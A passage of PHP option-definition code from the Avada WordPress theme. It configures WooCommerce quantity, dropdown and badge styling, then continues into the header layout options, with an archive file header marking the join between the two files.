=> 'woocommerce_product_tab_design', 'default' => 'vertical', 'type' => 'radio-buttonset', 'choices' => [ 'horizontal' => esc_html__( 'Horizontal Tabs', 'Avada' ), 'vertical' => esc_html__( 'Vertical Tabs', 'Avada' ), ], 'output' => [ [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'woo-tabs-$', 'remove_attrs' => [ 'woo-tabs-vertical', 'woo-tabs-horizontal' ], ], ], ], 'qty_size' => [ 'label' => esc_html__( 'WooCommerce Quantity Input Size', 'Avada' ), 'description' => esc_html__( 'Controls the width and height of the quantity input field.', 'Avada' ), 'id' => 'qty_size', 'units' => false, 'default' => [ 'width' => '38px', 'height' => '36px', ], 'type' => 'dimensions', 'css_vars' => [ [ 'name' => '--qty_size-width', 'choice' => 'width', ], [ 'name' => '--qty_size-height', 'choice' => 'height', ], ], ], 'qty_font_size' => [ 'label' => esc_html__( 'WooCommerce Quantity Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the quantity input field.', 'Avada' ), 'id' => 'qty_font_size', 'type' => 'dimension', 'default' => '14px', 'css_vars' => [ [ 'name' => '--qty_font_size', ], ], ], 'qty_bg_color' => [ 'label' => esc_html__( 'WooCommerce Quantity Box Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the WooCommerce quantity box.', 'Avada' ), 'id' => 'qty_bg_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--qty_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'qty_bg_hover_color' => [ 'label' => esc_html__( 'WooCommerce Quantity Box Hover Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the hover color of the WooCommerce quantity box.', 'Avada' ), 'id' => 'qty_bg_hover_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--qty_bg_hover_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_dropdown_bg_color' => [ 'label' => esc_html__( 'WooCommerce Order Dropdown Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the WooCommerce order dropdowns.', 'Avada' ), 'id' => 'woo_dropdown_bg_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--woo_dropdown_bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--woo_dropdown_bg_color-1l', 'callback' => [ 'lightness_adjust', 0.15 ], ], ], ], 'woo_dropdown_text_color' => [ 'label' => esc_html__( 'WooCommerce Order Dropdown Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the text and icons in the WooCommerce order dropdowns.', 'Avada' ), 'id' => 'woo_dropdown_text_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--woo_dropdown_text_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_dropdown_border_color' => [ 'label' => esc_html__( 'WooCommerce Order Dropdown Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border color in the WooCommerce order dropdowns.', 'Avada' ), 'id' => 'woo_dropdown_border_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--woo_dropdown_border_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_cart_bg_color' => [ 'label' => esc_html__( 'WooCommerce Cart Menu Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the bottom section background color of the WooCommerce cart dropdown.', 'Avada' ), 'id' => 'woo_cart_bg_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--woo_cart_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_icon_font_size' => [ 'label' => esc_html__( 'WooCommerce Icon Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the WooCommerce icons.', 'Avada' ), 'id' => 'woo_icon_font_size', 'type' => 'dimension', 'default' => '12px', 'css_vars' => [ [ 'name' => '--woo_icon_font_size', ], ], ], 'woo_sale_badge_section' => [ 'label' => esc_html__( 'Sale Badge', 'Avada' ), 'id' => 'woo_sale_badge_section', 'icon' => true, 'type' => 'info', ], 'woo_sale_badge_shape' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Shape', 'Avada' ), 'description' => esc_html__( 'Controls the shape of the sale badge.', 'Avada' ), 'id' => 'woo_sale_badge_shape', 'type' => 'radio-buttonset', 'default' => 'circle', 'choices' => [ 'rectangle' => esc_html__( 'Rectangle', 'Avada' ), 'circle' => esc_html__( 'Circle', 'Avada' ), ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'circle', '===' ], 'element' => 'body', 'className' => 'woo-sale-badge-circle', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'woo_sale_badge_bg_color' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the WooCommerce sale badge.', 'Avada' ), 'id' => 'woo_sale_badge_bg_color', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--fusion-woo-sale-badge-background-color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_sale_badge_text_color' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the WooCommerce sale badge.', 'Avada' ), 'id' => 'woo_sale_badge_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--fusion-woo-sale-badge-text-color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_sale_badge_text_size' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Text Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the WooCommerce sale badge text.', 'Avada' ), 'id' => 'woo_sale_badge_text_size', 'type' => 'dimension', 'default' => isset( $body_typography['font-size'] ) ? $body_typography['font-size'] : '16px', 'css_vars' => [ [ 'name' => '--fusion-woo-sale-badge-text-size', ], ], ], 'woo_sale_badge_padding' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left padding of the sale badge.', 'Avada' ), 'id' => 'woo_sale_badge_padding', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '0.5em', 'bottom' => '0.5em', 'left' => '0.5em', 'right' => '0.5em', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--fusion-woo-sale-badge-padding-top', 'choice' => 'top', ], [ 'name' => '--fusion-woo-sale-badge-padding-bottom', 'choice' => 'bottom', ], [ 'name' => '--fusion-woo-sale-badge-padding-left', 'choice' => 'left', ], [ 'name' => '--fusion-woo-sale-badge-padding-right', 'choice' => 'right', ], ], 'transport' => 'postMessage', 'required' => [ [ 'setting' => 'woo_sale_badge_shape', 'operator' => '!=', 'value' => 'circle', ], ], ], 'woo_sale_badge_border_radius' => [ 'type' => 'border_radius', 'label' => esc_html__( 'WooCommerce Sale Badge Border Radius', 'fusion-builder' ), 'description' => esc_html__( 'Controls the border radius of sale badge.', 'Avada' ), 'id' => 'woo_sale_badge_border_radius', 'choices' => [ 'top_left' => true, 'top_right' => true, 'bottom_right' => true, 'bottom_left' => true, 'units' => [ 'px', '%', 'em' ], ], 'default' => [ 'top_left' => '50%', 'top_right' => '50%', 'bottom_right' => '50%', 'bottom_left' => '50%', ], 'css_vars' => [ [ 'name' => '--fusion-woo-sale-badge-border-top-left-radius', 'choice' => 'top_left', 'element' => 'body', ], [ 'name' => '--fusion-woo-sale-badge-border-top-right-radius', 'choice' => 'top_right', 'element' => 'body', ], [ 'name' => '--fusion-woo-sale-badge-border-bottom-right-radius', 'choice' => 'bottom_right', 'element' => 'body', ], [ 'name' => '--fusion-woo-sale-badge-border-bottom-left-radius', 'choice' => 'bottom_left', 'element' => 'body', ], ], // Could update variable here, but does not look necessary as set inline. 'transport' => 'postMessage', 'required' => [ [ 'setting' => 'woo_sale_badge_shape', 'operator' => '!=', 'value' => 'circle', ], ], ], 'woo_sale_badge_border_width' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Border Size', 'Avada' ), 'description' => esc_html__( 'Controls the border size of the sale badge.', 'Avada' ), 'id' => 'woo_sale_badge_border_width', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '0px', 'bottom' => '0px', 'left' => '0px', 'right' => '0px', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--fusion-woo-sale-badge-width-top', 'choice' => 'top', ], [ 'name' => '--fusion-woo-sale-badge-width-bottom', 'choice' => 'bottom', ], [ 'name' => '--fusion-woo-sale-badge-width-left', 'choice' => 'left', ], [ 'name' => '--fusion-woo-sale-badge-width-right', 'choice' => 'right', ], ], ], 'woo_sale_badge_border_color' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border color of the sale badge', 'Avada' ), 'id' => 'woo_sale_badge_border_color', 'default' => '', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--fusion-woo-sale-badge-border-color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_sale_badge_text' => [ 'label' => esc_html__( 'WooCommerce Sale Badge Text', 'Avada' ), 'description' => esc_html__( '[percentage] and [value] placeholders can be used to display product discount as percentage or as a value, ex: [percentage] Off!', 'Avada' ), 'id' => 'woo_sale_badge_text', 'default' => __( 'Sale!', 'Avada' ), 'type' => 'text', ], 'woo_outofstock_badge_section' => [ 'label' => esc_html__( 'Out Of Stock Badge', 'Avada' ), 'id' => 'woo_outofstock_badge_section', 'icon' => true, 'type' => 'info', ], 'woo_outofstock_badge_shape' => [ 'label' => esc_html__( 'WooCommerce Out Of Stock Badge Shape', 'Avada' ), 'description' => esc_html__( 'Controls the shape of the out of stock badge.', 'Avada' ), 'id' => 'woo_outofstock_badge_shape', 'type' => 'radio-buttonset', 'default' => 'top_bar', 'choices' => [ 'top_bar' => esc_html__( 'Top Bar', 'Avada' ), 'rectangle' => esc_html__( 'Rectangle', 'Avada' ), 'circle' => esc_html__( 'Circle', 'Avada' ), ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'circle', '===' ], 'element' => 'body', 'className' => 'woo-outofstock-badge-circle', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'rectangle', '===' ], 'element' => 'body', 'className' => 'woo-outofstock-badge-rectangle', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'top_bar', '===' ], 'element' => 'body', 'className' => 'woo-outofstock-badge-top_bar', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'woo_outofstock_badge_bg_color' => [ 'label' => esc_html__( 'WooCommerce Out of Stock Badge Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the WooCommerce out of stock badge.', 'Avada' ), 'id' => 'woo_outofstock_badge_bg_color', 'default' => 'rgba(210, 0, 0, 0.9)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--fusion-woo-outofstock-badge-background-color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_outofstock_badge_text_color' => [ 'label' => esc_html__( 'WooCommerce Out of Stock Badge Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the WooCommerce out of stock badge.', 'Avada' ), 'id' => 'woo_outofstock_badge_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--fusion-woo-outofstock-badge-text-color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_outofstock_badge_text_size' => [ 'label' => esc_html__( 'WooCommerce Out of Stock Badge Text Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the WooCommerce out of stock badge text.', 'Avada' ), 'id' => 'woo_outofstock_badge_text_size', 'type' => 'dimension', 'default' => '13px', 'css_vars' => [ [ 'name' => '--fusion-woo-outofstock-badge-text-size', ], ], ], 'woo_outofstock_badge_padding' => [ 'label' => esc_html__( 'WooCommerce Out Of Stock Badge Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left padding of the out of stock badge.', 'Avada' ), 'id' => 'woo_outofstock_badge_padding', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '0.45em', 'bottom' => '0.45em', 'left' => '0', 'right' => '0', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--fusion-woo-outofstock-badge-padding-top', 'choice' => 'top', ], [ 'name' => '--fusion-woo-outofstock-badge-padding-bottom', 'choice' => 'bottom', ], [ 'name' => '--fusion-woo-outofstock-badge-padding-left', 'choice' => 'left', ], [ 'name' => '--fusion-woo-outofstock-badge-padding-right', 'choice' => 'right', ], ], 'transport' => 'postMessage', 'required' => [ [ 'setting' => 'woo_outofstock_badge_shape', 'operator' => '!=', 'value' => 'circle', ], ], ], 'woo_outofstock_badge_border_radius' => [ 'type' => 'border_radius', 'label' => esc_html__( 'WooCommerce Out Of Stock Badge Border Radius', 'fusion-builder' ), 'description' => esc_html__( 'Controls the border radius of out of stock badge.', 'Avada' ), 'id' => 'woo_outofstock_badge_border_radius', 'choices' => [ 'top_left' => true, 'top_right' => true, 'bottom_right' => true, 'bottom_left' => true, 'units' => [ 'px', '%', 'em' ], ], 'default' => [ 'top_left' => '0px', 'top_right' => '0px', 'bottom_right' => '0px', 'bottom_left' => '0px', ], 'css_vars' => [ [ 'name' => '--fusion-woo-outofstock-badge-border-top-left-radius', 'choice' => 'top_left', 'element' => 'body', ], [ 'name' => '--fusion-woo-outofstock-badge-border-top-right-radius', 'choice' => 'top_right', 'element' => 'body', ], [ 'name' => '--fusion-woo-outofstock-badge-border-bottom-right-radius', 'choice' => 'bottom_right', 'element' => 'body', ], [ 'name' => '--fusion-woo-outofstock-badge-border-bottom-left-radius', 'choice' => 'bottom_left', 'element' => 'body', ], ], // Could update variable here, but does not look necessary as set inline. 'transport' => 'postMessage', 'required' => [ [ 'setting' => 'woo_outofstock_badge_shape', 'operator' => '!=', 'value' => 'circle', ], ], ], 'woo_outofstock_badge_border_width' => [ 'label' => esc_html__( 'WooCommerce Out Of Stock Badge Border Size', 'Avada' ), 'description' => esc_html__( 'Controls the border size of the out of stock badge.', 'Avada' ), 'id' => 'woo_outofstock_badge_border_width', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '0px', 'bottom' => '0px', 'left' => '0px', 'right' => '0px', ], 'type' => 'spacing', 'css_vars' => [ [ 'name' => '--fusion-woo-outofstock-badge-width-top', 'choice' => 'top', ], [ 'name' => '--fusion-woo-outofstock-badge-width-bottom', 'choice' => 'bottom', ], [ 'name' => '--fusion-woo-outofstock-badge-width-left', 'choice' => 'left', ], [ 'name' => '--fusion-woo-outofstock-badge-width-right', 'choice' => 'right', ], ], ], 'woo_outofstock_badge_border_color' => [ 'label' => esc_html__( 'WooCommerce Out Of Stock Badge Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border color of the out of stock badge', 'Avada' ), 'id' => 'woo_outofstock_badge_border_color', 'default' => '', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--fusion-woo-outofstock-badge-border-color', 'callback' => [ 'sanitize_color' ], ], ], ], 'woo_outofstock_badge_text' => [ 'label' => esc_html__( 'WooCommerce Out Of Stock Badge Text', 'Avada' ), 'description' => esc_html__( 'Default value is: Out of stock', 'Avada' ), 'id' => 'woo_outofstock_badge_text', 'default' => __( 'Out of stock', 'Avada' ), 'type' => 'text', ], ], ], ], ] : []; return $sections; } Avada/includes/options/header.php000064400000165656152342437700013054 0ustar00 esc_html__( 'Header', 'Avada' ), 'id' => 'heading_header', 'is_panel' => true, 'priority' => 3, 'icon' => 'el-icon-arrow-up', 'alt_icon' => 'fusiona-header', 'fields' => [], ]; if ( $has_global_header ) { $sections['header']['fields'] = [ 'slider_position' => [ 'label' => esc_html__( 'Slider Position', 'Avada' ), 'description' => esc_html__( 'Controls if the slider displays below or above the header.', 'Avada' ), 'id' => 'slider_position', 'default' => 'below', 'type' => 'radio-buttonset', 'choices' => [ 'below' => esc_html__( 'Below', 'Avada' ), 'above' => esc_html__( 'Above', 'Avada' ), ], 'transport' => 'postMessage', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'change_slider_position', [ 'element' => '#sliders-container', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'header_global_header_override_template_notice' => [ 'id' => 'header_global_header_override_template_notice', 'label' => '', 'description' => sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. %3$s: URL for global header layout edit. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page, or edit the header.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ), $global_header_edit_url ), 'type' => 'custom', 'edit_shortcut' => [ 'selector' => [ '.fusion-tb-header' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Header', 'Avada' ), 'icon' => 'fusiona-header', 'open_parent' => true, 'link_to_template_if_override_active' => 'header', ], ], ], ], ]; } $fields = [ 'header_info_1' => [ 'label' => esc_html__( 'Header Content', 'Avada' ), 'description' => '', 'id' => 'header_info_1', 'default' => '', 'icon' => true, 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'header_global_header_template_content_notice' => [ 'id' => 'header_global_header_template_content_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['header']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'header_position' => [ 'label' => esc_html__( 'Header Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of the header to be in the top, left or right of the site. The main menu height, header padding and logo margin options will auto adjust based off your selection for ideal aesthetics.', 'Avada' ), 'id' => 'header_position', 'default' => 'top', 'type' => 'radio-buttonset', 'choices' => [ 'top' => esc_html__( 'Top', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), ], // Partial refresh for the header. 'partial_refresh' => [ 'header_position_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper, .fusion-header-wrapper, #side-header-sticky, #side-header, #sliders-container', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_position_replace_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header_position' ], 'success_trigger_event' => 'header-rendered fusion-partial-wooslider', ], ], 'output' => [ // This is for the avadaMenuVars.header_position var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaMenuVars', 'id' => 'header_position', ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the avadaFusionSliderVars.header_position var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaFusionSliderVars', 'id' => 'header_position', ], ], 'sanitize_callback' => '__return_empty_string', ], // Update necessary CSS classes. [ 'js_callback' => [ 'change_header_position', ], ], ], ], 'header_layout' => [ 'label' => esc_html__( 'Select a Header Layout', 'Avada' ), 'description' => esc_html__( 'Controls the general layout of the header. Headers 2-5 allow additional content areas via the header content options 1-3. Header 6 only allows parent level menu items, no child levels will display. The main menu height, header padding and logo margin options will auto adjust based off your selection for ideal aesthetics.', 'Avada' ), 'id' => 'header_layout', 'default' => 'v3', 'type' => 'radio-image', 'choices' => [ 'v1' => Avada::$template_dir_url . '/assets/images/patterns/header1.jpg', 'v2' => Avada::$template_dir_url . '/assets/images/patterns/header2.jpg', 'v3' => Avada::$template_dir_url . '/assets/images/patterns/header3.jpg', 'v4' => Avada::$template_dir_url . '/assets/images/patterns/header4.jpg', 'v5' => Avada::$template_dir_url . '/assets/images/patterns/header5.jpg', 'v6' => Avada::$template_dir_url . '/assets/images/patterns/header6.jpg', 'v7' => Avada::$template_dir_url . '/assets/images/patterns/header7.jpg', ], 'required' => [ [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_header_layout_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_layout_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_layout' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], 'edit_shortcut' => [ 'selector' => [ '.fusion-header', '#side-header .side-header-wrapper' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Header Layout', 'Avada' ), 'icon' => 'fusiona-header', 'open_parent' => true, 'order' => 1, ], [ 'aria_label' => esc_html__( 'Add Slider', 'Avada' ), 'icon' => 'fusiona-uniF61C', 'link' => '#', 'css_class' => 'add-slider', 'order' => 4, ], [ 'aria_label' => esc_html__( 'Add Page Title Bar', 'Avada' ), 'icon' => 'fusiona-page_title', 'link' => '#', 'css_class' => 'add-ptb', 'order' => 5, ], ], ], 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-header-layout-$', 'remove_attrs' => [ 'fusion-header-layout-v1', 'fusion-header-layout-v2', 'fusion-header-layout-v3', 'fusion-header-layout-v4', 'fusion-header-layout-v5', 'fusion-header-layout-v6', 'fusion-header-layout-v7' ], ], // Change the avadaSidebarsVars.header_layout var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaSidebarsVars', 'id' => 'header_layout', 'trigger' => [ 'fusionReSettStickySidebarStatus' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], ( $has_global_header ? '' : 'slider_position' ) => ( $has_global_header ? [] : [ 'label' => esc_html__( 'Slider Position', 'Avada' ), 'description' => esc_html__( 'Controls if the slider displays below or above the header.', 'Avada' ), 'id' => 'slider_position', 'default' => 'below', 'type' => 'radio-buttonset', 'choices' => [ 'below' => esc_html__( 'Below', 'Avada' ), 'above' => esc_html__( 'Above', 'Avada' ), ], 'required' => [ [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], ], 'transport' => 'postMessage', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'change_slider_position', [ 'element' => '#sliders-container', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ] ), 'header_left_content' => [ 'label' => esc_html__( 'Header Content 1', 'Avada' ), 'description' => esc_html__( 'Controls the content that displays in the top left section.', 'Avada' ), 'id' => 'header_left_content', 'default' => 'social_links', 'type' => 'select', 'choices' => [ 'contact_info' => esc_html__( 'Contact Info', 'Avada' ), 'social_links' => esc_html__( 'Social Links', 'Avada' ), 'navigation' => esc_html__( 'Navigation', 'Avada' ), 'leave_empty' => esc_html__( 'Leave Empty', 'Avada' ), ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_header_left_content_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_left_content_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_left_content' => [ 'selector' => '.fusion-header-wrapper, #side-header-sticky, #side-header', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered resize', ], ], ], 'header_right_content' => [ 'label' => esc_html__( 'Header Content 2', 'Avada' ), 'description' => esc_html__( 'Controls the content that displays in the top right section.', 'Avada' ), 'id' => 'header_right_content', 'default' => 'navigation', 'type' => 'select', 'choices' => [ 'contact_info' => esc_html__( 'Contact Info', 'Avada' ), 'social_links' => esc_html__( 'Social Links', 'Avada' ), 'navigation' => esc_html__( 'Navigation', 'Avada' ), 'leave_empty' => esc_html__( 'Leave Empty', 'Avada' ), ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_header_right_content_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_right_content_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_right_content' => [ 'selector' => '.fusion-header-wrapper, #side-header-sticky, #side-header', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered resize', ], ], ], 'header_v4_content' => [ 'label' => esc_html__( 'Header Content 3', 'Avada' ), 'description' => esc_html__( 'Controls the content that displays in the middle right section.', 'Avada' ), 'id' => 'header_v4_content', 'default' => 'tagline_and_search', 'type' => 'select', 'choices' => [ 'tagline' => esc_html__( 'Tagline', 'Avada' ), 'search' => esc_html__( 'Search', 'Avada' ), 'tagline_and_search' => esc_html__( 'Tagline And Search', 'Avada' ), 'banner' => esc_html__( 'Banner', 'Avada' ), 'none' => esc_html__( 'Leave Empty', 'Avada' ), ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v4', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_content_header_v4_content_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_v4_content_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_content_header_v4_content' => [ 'selector' => '.fusion-header-wrapper, #side-header-sticky, #side-header', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered resize', ], ], ], 'header_number' => [ 'label' => esc_html__( 'Phone Number For Contact Info', 'Avada' ), 'description' => esc_html__( 'This content will display if you have "Contact Info" selected for the Header Content 1 or 2 option above.', 'Avada' ), 'id' => 'header_number', 'default' => 'Call Us Today! 1.555.555.555', 'type' => 'text', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'output' => [ [ 'element' => '.fusion-contact-info-phone-number', 'function' => 'html', ], ], ], 'header_email' => [ 'label' => esc_html__( 'Email Address For Contact Info', 'Avada' ), 'description' => esc_html__( 'This content will display if you have "Contact Info" selected for the Header Content 1 or 2 option above.', 'Avada' ), 'id' => 'header_email', 'default' => 'info@yourdomain.com', 'type' => 'text', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'output' => [ [ 'element' => '.fusion-contact-info-email-address', 'function' => 'html', 'value_pattern' => '$', ], ], ], 'header_tagline' => [ 'label' => esc_html__( 'Tagline For Content 3', 'Avada' ), 'description' => esc_html__( 'This content will display if you have "Tagline" selected for the Header Content 3 option above.', 'Avada' ), 'id' => 'header_tagline', 'default' => 'Insert Tagline Here', 'type' => 'textarea', 'class' => 'fusion-gutter-and-or-and', 'required' => [ [ 'setting' => 'header_v4_content', 'operator' => 'contains', 'value' => 'tagline', ], [ 'setting' => 'header_layout', 